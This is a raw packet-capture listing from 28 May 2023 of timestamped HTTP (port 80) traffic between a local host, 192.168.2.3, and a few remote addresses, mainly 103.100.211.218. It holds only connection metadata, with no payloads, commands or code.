May 28, 2023 10:42:52.460980892 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.461009026 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.461016893 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.461035013 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.461050987 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.461074114 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.461085081 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.461117029 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.461117983 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.461150885 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.461150885 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.461167097 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.461184978 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.461216927 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.461237907 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.461237907 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.461250067 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.461268902 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.461285114 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.461317062 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.461317062 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.461350918 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.461364985 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.461364985 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.461384058 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.461415052 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.461427927 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.461445093 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.461448908 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.461477995 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.461491108 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.461512089 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.461513042 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.461529970 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.461545944 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.461576939 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.461606026 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.461606979 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.461631060 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.461639881 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.461667061 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.461674929 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.461692095 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.461709976 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.461740017 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.461740971 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.461760044 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.461774111 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.461793900 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.461806059 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.461828947 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.461839914 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.461872101 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.461875916 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.461894989 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.461906910 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.461930037 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.461941004 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.461958885 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.461975098 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.462013006 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.462018013 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.462038994 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.462049961 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.462071896 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.462088108 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.462117910 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.462119102 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.462152004 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.462157011 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.462177038 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.462184906 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.462199926 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.462219954 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.462255001 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.462275982 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.462285995 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.462301016 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.462320089 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.462337017 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.462352037 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.462383032 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.462393999 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.462393999 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.462414026 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.462435007 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.462447882 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.462481022 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.462481022 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.462505102 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.462512970 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.462546110 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.462552071 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.462573051 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.462616920 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.570555925 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.570650101 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.587030888 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.587116003 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.645502090 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.645555973 CEST	80	49722	188.114.97.7	192.168.2.3
May 28, 2023 10:42:52.645695925 CEST	49722	80	192.168.2.3	188.114.97.7
May 28, 2023 10:42:52.646718025 CEST	80	49721	175.119.10.231	192.168.2.3
May 28, 2023 10:42:52.646770000 CEST	80	49721	175.119.10.231	192.168.2.3
May 28, 2023 10:42:52.646847010 CEST	49721	80	192.168.2.3	175.119.10.231
May 28, 2023 10:42:52.646915913 CEST	49721	80	192.168.2.3	175.119.10.231
May 28, 2023 10:42:52.743792057 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.743856907 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.743897915 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.743979931 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.744085073 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.744085073 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.747068882 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.747117996 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.747159958 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.747200966 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.747242928 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.747247934 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.747247934 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.747287035 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.747299910 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.747322083 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.747329950 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.747371912 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.747380972 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.747380972 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.747416019 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.747457981 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.747476101 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.747502089 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.747540951 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.747543097 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.747572899 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.747587919 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.747629881 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.747670889 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.747678041 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.747713089 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.747740030 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.747756004 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.747798920 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.747823954 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.747863054 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.747891903 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.747905970 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.747927904 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.747947931 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.747991085 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.748013020 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.748032093 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.748044968 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.748075008 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.748091936 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.748121977 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.748132944 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.748167038 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.748178959 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.748210907 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.748222113 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.748253107 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.748271942 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.748323917 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.748337030 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.748384953 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.748408079 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.748431921 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.748437881 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.748475075 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.748486042 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.748518944 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.748532057 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.748562098 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.748574972 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.748605967 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.748616934 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.748648882 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.748660088 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.748692036 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.748702049 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.748740911 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.748745918 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.748784065 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.748809099 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.748827934 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.748847961 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.748872042 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.748897076 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.748930931 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.748936892 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.748986006 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.748996019 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.749028921 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.749042988 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.749073029 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.749085903 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.749121904 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.749131918 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.749165058 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.749178886 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.749207973 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.749218941 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.749252081 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.749264002 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.749296904 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.749311924 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.749340057 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.749349117 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.749381065 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.749394894 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.749425888 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.749440908 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.749470949 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.749481916 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.749514103 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.749530077 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.749558926 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.749572039 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.749604940 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.749617100 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.749649048 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.749661922 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.749691963 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.749701977 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.749735117 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.749746084 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.749778032 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.749788046 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.749823093 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.749830008 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.749866009 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.749876022 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.749911070 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.749923944 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.749953985 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.749969006 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.750005960 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.750016928 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.750066042 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.750066042 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.750113010 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.750119925 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.750155926 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.750168085 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.750200987 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.750210047 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.750242949 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.750253916 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.750286102 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.750302076 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.750329971 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.750338078 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.750372887 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.750381947 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.750416994 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.750423908 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.750458956 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.750466108 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.750502110 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.750510931 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.750545025 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.750551939 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.750587940 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.750596046 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.750629902 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.750638008 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.750674009 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.750679970 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.750715017 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.750724077 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.750757933 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.750766993 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.750801086 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.750808001 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.750844955 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.750852108 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.750886917 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.750895977 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.750929117 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.750940084 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.750972033 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.750984907 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.751014948 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.751029015 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.751058102 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.751069069 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.751118898 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.751125097 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.751173019 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.751189947 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.751236916 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.751249075 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.751280069 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.751288891 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.751321077 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.751331091 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.751363039 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.751372099 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.751404047 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.751415014 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.751446009 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.751454115 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.751487970 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.751497984 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.751528978 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.751538038 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.751570940 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.751580000 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.751612902 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.751621008 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.751653910 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.751662970 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.751696110 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.751704931 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.751737118 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.751749039 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.751780033 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.751787901 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.751821041 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.751830101 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.751863003 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.751872063 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.751904964 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.751914024 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.751948118 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.751956940 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.751988888 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.751997948 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.752031088 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.752043009 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.752074957 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.752087116 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.752118111 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.752127886 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.752161026 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.752168894 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.752219915 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.752219915 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.752295017 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.752316952 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.752348900 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.752362013 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.752393007 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.752405882 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.752435923 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.752444029 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.752479076 CEST	80	49720	103.100.211.218	192.168.2.3
May 28, 2023 10:42:52.752487898 CEST	49720	80	192.168.2.3	103.100.211.218
May 28, 2023 10:42:52.752521992 CEST	80	49720	103.100.211.218	192.168.2.3
